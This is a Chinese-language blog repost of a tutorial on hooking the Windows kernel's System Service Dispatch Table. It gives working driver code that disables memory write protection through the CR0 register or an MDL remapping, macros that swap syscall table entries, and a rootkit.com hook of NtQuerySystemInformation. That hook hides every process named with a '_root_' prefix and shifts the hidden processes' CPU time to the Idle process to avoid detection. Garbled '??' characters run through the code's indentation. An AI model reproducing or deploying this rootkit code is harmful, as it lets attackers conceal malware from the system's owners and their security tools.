SSDT HIDE Process 收藏
原文出處:http://bbs.tian6.com/redirect.php?tid=12021&goto=lastpost
前言:
這只是一篇類似于教學(xué)性的paper,在本文中闡述了一些SSDT HOOK的基本原理與實(shí)現(xiàn)方法,方法并不高深也不新穎,只是方便如同我一般的小菜們能夠了解SSDT HOOK的概念,并通過(guò)一個(gè)小程序?qū)崿F(xiàn)ring0下SSDT HOOK來(lái)隱藏特定進(jìn)程。大牛請(qǐng)飄過(guò)。
什么是SSDT?
SSDT(System Service Dispatch Table)系統(tǒng)服務(wù)描述符表,它用來(lái)查詢處理系統(tǒng)調(diào)用的特定函數(shù)。也就是說(shuō),這個(gè)表把ring3下UserMode的Win32 API同ring0下Kernel API相聯(lián)系。
SSDT HOOK 有什么用?
通過(guò)修改SSDT中的函數(shù)入口地址來(lái)HOOK SSDT中的函數(shù),你可以過(guò)濾掉你所關(guān)心的特定結(jié)果,從而欺騙操作系統(tǒng)。比如,你可以隱藏特定的進(jìn)程,隱藏文件,隱藏端口等等。
下面讓我們正式進(jìn)入到SSDT?? HOOK的探索旅程中吧!
我首先會(huì)闡述一些關(guān)于SSDT的基本概念,然后介紹了SSDT工作的原理,再次介紹如何繞過(guò)內(nèi)存的寫(xiě)保護(hù)來(lái)修改SSDT,最后通過(guò)一個(gè)簡(jiǎn)單的例子來(lái)介紹如何使用SSDT HOOK來(lái)隱藏進(jìn)程。
SSDT的基本概念
SSDT通過(guò)索引系統(tǒng)調(diào)用號(hào)來(lái)查找在內(nèi)存中的函數(shù)地址。而另一個(gè)被稱為SSPT(System Service Parameter Table)系統(tǒng)服務(wù)參數(shù)表,它則指定了每一個(gè)系統(tǒng)服務(wù)的函數(shù)參數(shù)的字節(jié)數(shù)。
KeServiceDescriptorTable是一個(gè)內(nèi)核的導(dǎo)出表,這個(gè)表中包含一個(gè)指向部分SSDT的指針。而SSDT中則包含著內(nèi)核的主要部分,Ntoskrnl.exe中的核心系統(tǒng)服務(wù)的實(shí)現(xiàn)。KeServiceDescriptorTable當(dāng)然也包含一個(gè)指向SSPT的指針。
SSDT中包含著每一個(gè)內(nèi)核導(dǎo)出函數(shù)的地址,每個(gè)地址是4字節(jié)長(zhǎng)。SSPT中每個(gè)元素則是1字節(jié)長(zhǎng),而且用16進(jìn)制來(lái)表示SSDT中指定函數(shù)的參數(shù)長(zhǎng)度。在下圖中,在地址0x804AB3BF的函數(shù),它的參數(shù)長(zhǎng)度是0x18。
當(dāng)調(diào)用一個(gè)指定的函數(shù)時(shí),KiSystemService只是簡(jiǎn)單的用目標(biāo)函數(shù)的ID號(hào)乘以4,來(lái)得到SSDT中的偏移地址。KeServiceDescriptorTable中包含著服務(wù)的數(shù)目,這個(gè)值可以用來(lái)找到SSDT或者SSPT中的最大偏移。
當(dāng)調(diào)用INT 2E或者SYSENTER指令時(shí),將會(huì)觸發(fā)系統(tǒng)服務(wù)。這將使得進(jìn)程進(jìn)入到Kernel Mode,也就是所說(shuō)的ring0。應(yīng)用程序能夠直接觸發(fā)system service dispatcher,KiSystemService,或者通過(guò)使用子系統(tǒng)來(lái)觸發(fā)。如果使用的是子系統(tǒng)的話(比如Win32),那么它將進(jìn)入到 Ntdll.dll,然后把請(qǐng)求的系統(tǒng)函數(shù)索引號(hào)或者系統(tǒng)服務(wù)標(biāo)志符裝入到EAX中,再把函數(shù)參數(shù)的地址裝入到EDX中。然后system service dispatcher將會(huì)核查參數(shù),把它們從用戶棧復(fù)制到內(nèi)核棧。它然后調(diào)用通過(guò)EAX中系統(tǒng)服務(wù)標(biāo)志符來(lái)指定的SSDT中索引的函數(shù)。
一旦你的應(yīng)用程序被作為一個(gè)驅(qū)動(dòng)程序加載,它就能夠改變SSDT中指向的函數(shù)變?yōu)槟阕约旱暮瘮?shù),而不是Ntoskrnl.exe 或者Win32k.sys中的函數(shù)。當(dāng)一個(gè)非內(nèi)核的程序進(jìn)入到內(nèi)核時(shí),它的請(qǐng)求被system service dispatcher處理,并且你的程序的函數(shù)將被調(diào)用。基于這一點(diǎn),你就可以有效地隱藏自己的程序,包括它所使用的資源,返回一個(gè)虛假的信息給應(yīng)用程序。
改寫(xiě)SSDT內(nèi)存保護(hù)
Windows系統(tǒng)對(duì)部分內(nèi)存起用了寫(xiě)保護(hù),來(lái)防止內(nèi)存頁(yè)被修改,比如Windows XP和Windows 2003。它們使得SSDT變成只讀的表,以此來(lái)防止任何應(yīng)用程序來(lái)修改這個(gè)表。
寫(xiě)保護(hù)操作給你的應(yīng)用程序提出了一個(gè)挑戰(zhàn),它使得你想HOOK某些系統(tǒng)調(diào)用來(lái)過(guò)濾返回信息變得困難起來(lái)。如果你試圖去對(duì)一個(gè)只讀的內(nèi)存進(jìn)行操作,那么你將會(huì)遇到BSoD,也就是經(jīng)典的藍(lán)屏死機(jī)的問(wèn)題。
有兩個(gè)方法可以繞過(guò)寫(xiě)保護(hù),一種是修改控制寄存器CR0中的寫(xiě)保護(hù)位來(lái)繞過(guò),另一種是利用Memory Descriptor List (MDL)來(lái)繞過(guò)寫(xiě)保護(hù)。
先說(shuō)第一種方法,第一種方法比較簡(jiǎn)單,也就是只要把CR0中的WP(寫(xiě)保護(hù))位設(shè)置為0,就可以禁止內(nèi)存保護(hù)。
// 取消內(nèi)存保護(hù)
?? __asm
?? {
???????? push eax
???????? mov?? eax, CR0
???????? and?? eax, 0FFFEFFFFh
???????? mov?? CR0, eax
???????? pop?? eax
?? }
// 重新起用內(nèi)存保護(hù)
?? __asm
?? {
???????? push eax
???????? mov?? eax, CR0
???????? or eax, NOT 0FFFEFFFFh
???????? mov?? CR0, eax
???????? pop?? eax
?? }
第二種方法是利用MDL,這個(gè)方法在Microsoft的文檔中講得很詳細(xì)了。
你可以在MDL中描述一段內(nèi)存,包括內(nèi)存段的起始位置,所擁有的進(jìn)程,字節(jié)數(shù),內(nèi)存段的標(biāo)志等等。
// MDL references defined in ntddk.h
typedef struct _MDL {
struct _MDL *Next;
CSHORT Size;
CSHORT MdlFlags;
struct _EPROCESS *Process;
PVOID MappedSystemVa;
PVOID StartVa;
ULONG ByteCount;
ULONG ByteOffset;
} MDL, *PMDL;
// MDL Flags
#define MDL_MAPPED_TO_SYSTEM_VA???? 0x0001
#define MDL_PAGES_LOCKED????????? 0x0002
#define MDL_SOURCE_IS_NONPAGED_POOL 0x0004
#define MDL_ALLOCATED_FIXED_SIZE 0x0008
#define MDL_PARTIAL???????????????? 0x0010
#define MDL_PARTIAL_HAS_BEEN_MAPPED 0x0020
#define MDL_IO_PAGE_READ????????? 0x0040
#define MDL_WRITE_OPERATION?????? 0x0080
#define MDL_PARENT_MAPPED_SYSTEM_VA 0x0100
#define MDL_LOCK_HELD???????????? 0x0200
#define MDL_PHYSICAL_VIEW?????????? 0x0400
#define MDL_IO_SPACE???????????? 0x0800
#define MDL_NETWORK_HEADER?????? 0x1000
#define MDL_MAPPING_CAN_FAIL??????? 0x2000
#define MDL_ALLOCATED_MUST_SUCCEED?? 0x4000
為了改變內(nèi)存的標(biāo)志,下面的代碼首先聲明一個(gè)結(jié)構(gòu)體,用來(lái)保存從Windows內(nèi)核中導(dǎo)出的KeServiceDescriptorTable。當(dāng)你調(diào)用 MmCreateMdl時(shí),你需要知道KeServiceDescriptorTable的基址和它所擁有的函數(shù)入口的數(shù)量。這個(gè)函數(shù)定義了你想要MDL 描述的內(nèi)存段的起始地址和大小。然后你的應(yīng)用程序在內(nèi)存的非頁(yè)池中創(chuàng)建MDL。
你的應(yīng)用程序可以通過(guò)改變MDL的標(biāo)志來(lái)使得你可以寫(xiě)內(nèi)存段,也就是把MDL flag設(shè)置為MDL_MAPPED_TO_SYSTEM_VA。然后調(diào)用MmMapLockedPages來(lái)鎖定內(nèi)存中的MDL頁(yè)。
現(xiàn)在,你可以準(zhǔn)備HOOKING SSDT了,在下面的代碼中,MappedSystemCallTable中的地址同SSDT的內(nèi)容相一致,但是,現(xiàn)在你可以修改它了。
// 聲明
#pragma pack(1)
typedef struct ServiceDescriptorEntry {
?????? unsigned int *ServiceTableBase;
?????? unsigned int *ServiceCounterTableBase;
?????? unsigned int NumberOfServices;
?????? unsigned char *ParamTableBase;
} SSDT_Entry;
#pragma pack()
__declspec(dllimport) SSDT_Entry KeServiceDescriptorTable;
PMDL?? g_pmdlSystemCall;
PVOID *MappedSystemCallTable;
// 保存原始的系統(tǒng)調(diào)用地址,映射到我們的域中,來(lái)改變MDL的保護(hù)
g_pmdlSystemCall = MmCreateMdl(NULL,
?????????????? KeServiceDescriptorTable.ServiceTableBase,
?????????????? KeServiceDescriptorTable.NumberOfServices*4);
if(!g_pmdlSystemCall)
return STATUS_UNSUCCESSFUL;
MmBuildMdlForNonPagedPool(g_pmdlSystemCall);
// 改變MDL的標(biāo)志
g_pmdlSystemCall->MdlFlags = g_pmdlSystemCall->MdlFlags |
??????????????????????????? MDL_MAPPED_TO_SYSTEM_VA;
MappedSystemCallTable = MmMapLockedPages(g_pmdlSystemCall, KernelMode);
HOOKING SSDT
下面列出了幾個(gè)對(duì)HOOKING SSDT比較有用的宏。
#define SYSTEMSERVICE(_func) \
?? KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)_func+1)]
#define SYSCALL_INDEX(_Function) *(PULONG)((PUCHAR)_Function+1)
#define HOOK_SYSCALL(_Function, _Hook, _Orig )??? \
?????? _Orig = (PVOID) InterlockedExchange( (PLONG) \
?????? &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook)
#define UNHOOK_SYSCALL(_Func, _Hook, _Orig )?? \
?????? InterlockedExchange((PLONG)?????????? \
?????? &MappedSystemCallTable[SYSCALL_INDEX(_Func)], (LONG) _Hook)
SYSTEMSERVICE宏的參數(shù)(姑且稱為參數(shù)吧)是ntoskrnl.exe導(dǎo)出的函數(shù)地址,是一個(gè)Zw* 型的函數(shù),返回一個(gè)在SSDT表中Nt*型的函數(shù)地址。
SYSCALL_INDEX宏的參數(shù)是Zw*型的函數(shù)的地址,返回一個(gè)在SSDT中相一致的索引號(hào)。
HOOK_SYSCALL 和 UNHOOK_SYSCALL宏則是把Zw*型的被HOOK的函數(shù)地址同_Hook函數(shù)地址在SSDT中自動(dòng)交換。
這幾個(gè)宏將會(huì)在下面的例子中非常有用。
例子:使用SSDT HOOK來(lái)隱藏進(jìn)程
?? Windows操作系統(tǒng)使用ZwQuerySystemInformation函數(shù)來(lái)查詢?cè)S多不同的操作系統(tǒng)信息。比如,任務(wù)管理器 Taskmgr.exe,就是使用這個(gè)函數(shù)來(lái)獲得系統(tǒng)的進(jìn)程列表。返回的信息則是依靠SystemInformationClass來(lái)決定的。比如,在這個(gè)例子中,我們想要獲得系統(tǒng)的進(jìn)程信息,我們需要把SystemInformationClass設(shè)置為5。更多詳細(xì)的信息,請(qǐng)參閱Microsoft Windows DDK。
一旦你的程序在SSDT中替換了NtQuerySystemInformation,你的HOOK程序就能調(diào)用原始的系統(tǒng)調(diào)用,并且過(guò)濾掉敏感信息。
在SystemInformationClass buffer中,包含著_SYSTEM_PROCESSES結(jié)構(gòu)體和與其相對(duì)應(yīng)的_SYSTEM_THREADS結(jié)構(gòu)體。在 _SYSTEM_PROCESSES中,進(jìn)程名是UNICODE_STRING的。兩個(gè)LARGE_INTEGER則是進(jìn)程的user和kernel的時(shí)間。當(dāng)你的程序隱藏一個(gè)進(jìn)程的時(shí)候,你的程序應(yīng)該把這個(gè)進(jìn)程的執(zhí)行開(kāi)銷所花費(fèi)的時(shí)間加到列表中的其它進(jìn)程中,以保證CPU的總的時(shí)間是100%。
下面的是ZwQuerySystemInformation所返回的進(jìn)程和線程的結(jié)構(gòu)體。
struct _SYSTEM_THREADS
{
?????? LARGE_INTEGER?????????? KernelTime;
?????? LARGE_INTEGER?????????? UserTime;
?????? LARGE_INTEGER?????????? CreateTime;
?????? ULONG??????????????? WaitTime;
?????? PVOID??????????????? StartAddress;
?????? CLIENT_ID???????????? ClientIs;
?????? KPRIORITY???????????? Priority;
?????? KPRIORITY???????????? BasePriority;
?????? ULONG??????????????? ContextSwitchCount;
?????? ULONG??????????????? ThreadState;
?????? KWAIT_REASON????????? WaitReason;
};
struct _SYSTEM_PROCESSES
{
?????? ULONG??????????????? NextEntryDelta;
?????? ULONG??????????????? ThreadCount;
?????? ULONG??????????????? Reserved[6];
?????? LARGE_INTEGER?????????? CreateTime;
?????? LARGE_INTEGER?????????? UserTime;
?????? LARGE_INTEGER?????????? KernelTime;
?????? UNICODE_STRING?????? ProcessName;
?????? KPRIORITY???????????? BasePriority;
?????? ULONG??????????????? ProcessId;
?????? ULONG??????????????? InheritedFromProcessId;
?????? ULONG??????????????? HandleCount;
?????? ULONG??????????????? Reserved2[2];
?????? VM_COUNTERS????????? VmCounters;
?????? IO_COUNTERS????????? IoCounters;??????? //windows 2000 only
?????? struct _SYSTEM_THREADS?? Threads[1];
};
下面的NewZwQuerySystemInformation將會(huì)過(guò)濾掉所有以“"_root_”打頭的進(jìn)程名,并且把它們的運(yùn)行開(kāi)銷加到Idle的進(jìn)程中,也就是加到系統(tǒng)空閑進(jìn)程中。
///////////////////////////////////////////////////////////////////////
// NewZwQuerySystemInformation 函數(shù)
// ZwQuerySystemInformation() 返回一個(gè)進(jìn)程的鏈表
// 下面的函數(shù)將會(huì)去掉所有以“_root_”打頭的進(jìn)程
NTSTATUS NewZwQuerySystemInformation(
???????? IN ULONG SystemInformationClass,
???????? IN PVOID SystemInformation,
???????? IN ULONG SystemInformationLength,
???????? OUT PULONG ReturnLength)
{
NTSTATUS ntStatus;
ntStatus = ((ZWQUERYSYSTEMINFORMATION)(OldZwQuerySystemInformation))
??????????????????????????????????????? (SystemInformationClass,
??????????????????????????????????????? SystemInformation,
??????????????????????????????????????? SystemInformationLength,
??????????????????????????????????????? ReturnLength);
if( NT_SUCCESS(ntStatus))
{
?? if(SystemInformationClass == 5)
?? {
?????? // 查詢進(jìn)程的鏈表,并且去掉以“_root_”打頭的進(jìn)程
????? struct _SYSTEM_PROCESSES *curr =
??????????? (struct _SYSTEM_PROCESSES *) SystemInformation;
?????? struct _SYSTEM_PROCESSES *prev = NULL;
?????? while(curr)
?????? {
????? //DbgPrint("Current item is %x\n", curr);
????? if (curr->ProcessName.Buffer != NULL)
????? {
???????? if(0 == memcmp(curr->ProcessName.Buffer, L"_root_", 12))
???????? {
??????????? m_UserTime.QuadPart += curr->UserTime.QuadPart;
??????????? m_KernelTime.QuadPart +=
???????????????????????????????? curr->KernelTime.QuadPart;
??????????? if(prev)??? // 鏈表的第二個(gè)節(jié)點(diǎn)到最后一個(gè)節(jié)點(diǎn)的處理
??????????? {
?????????????? if(curr->NextEntryDelta)
????????????????? prev->NextEntryDelta +=
??????????????????????????????????????? curr->NextEntryDelta;
?????????????? else??? // 最后一個(gè)節(jié)點(diǎn)
????????????????? prev->NextEntryDelta = 0;
??????????? }
??????????? else
??????????? {
?????????????? if(curr->NextEntryDelta)
?????????????? {
????????????????? // 鏈表的第一個(gè)節(jié)點(diǎn),向后移動(dòng)指針
????????????????? (char*)SystemInformation +=
??????????????????????????????????? curr->NextEntryDelta;
?????????????? }
?????????????? else?????? // 只有一個(gè)節(jié)點(diǎn)
????????????????? SystemInformation = NULL;
??????????? }
???????? }
????? }
????? else???????????? // Idle進(jìn)程的入口
????? {
???????? // 把 _root_*進(jìn)程開(kāi)銷加到Idle的進(jìn)程中去
???????? curr->UserTime.QuadPart += m_UserTime.QuadPart;
???????? curr->KernelTime.QuadPart += m_KernelTime.QuadPart;
???????? // 為我們下次過(guò)濾的時(shí)候重置
???????? m_UserTime.QuadPart = m_KernelTime.QuadPart = 0;
????? }
????? prev = curr;
????????? if(curr->NextEntryDelta)((char*)curr+=
???????????????????????????????????? curr->NextEntryDelta);
???????? else curr = NULL;
?? }
?? }
??? else if (SystemInformationClass == 8)
??? {
????? // 查詢系統(tǒng)進(jìn)程開(kāi)銷
????? struct _SYSTEM_PROCESSOR_TIMES * times =
????????? (struct _SYSTEM_PROCESSOR_TIMES *)SystemInformation;
????? times->IdleTime.QuadPart += m_UserTime.QuadPart +
??????????????????????????????????? m_KernelTime.QuadPart;
?? }
}
return ntStatus;
}
注:以上代碼來(lái)源于www.rootkit.com,完整代碼下載地址為:http://www.rootkit.com/vault/fuzen_op/HideProcessHookMDL.zip
現(xiàn)在你的程序可以把進(jìn)程中所有以“_root_”打頭的進(jìn)程都隱藏起來(lái)了,當(dāng)然你可以更改隱藏的進(jìn)程名。
通過(guò)上述的例子,你可以明白HOOK的好處了吧,當(dāng)然在SSDT中還有許多值得我們HOOK的函數(shù),展開(kāi)你的想象吧,沒(méi)有做不到,只有想不到!
?
本文來(lái)自CSDN博客,轉(zhuǎn)載請(qǐng)標(biāo)明出處:http://blog.csdn.net/lionzl/archive/2009/08/27/4489268.aspx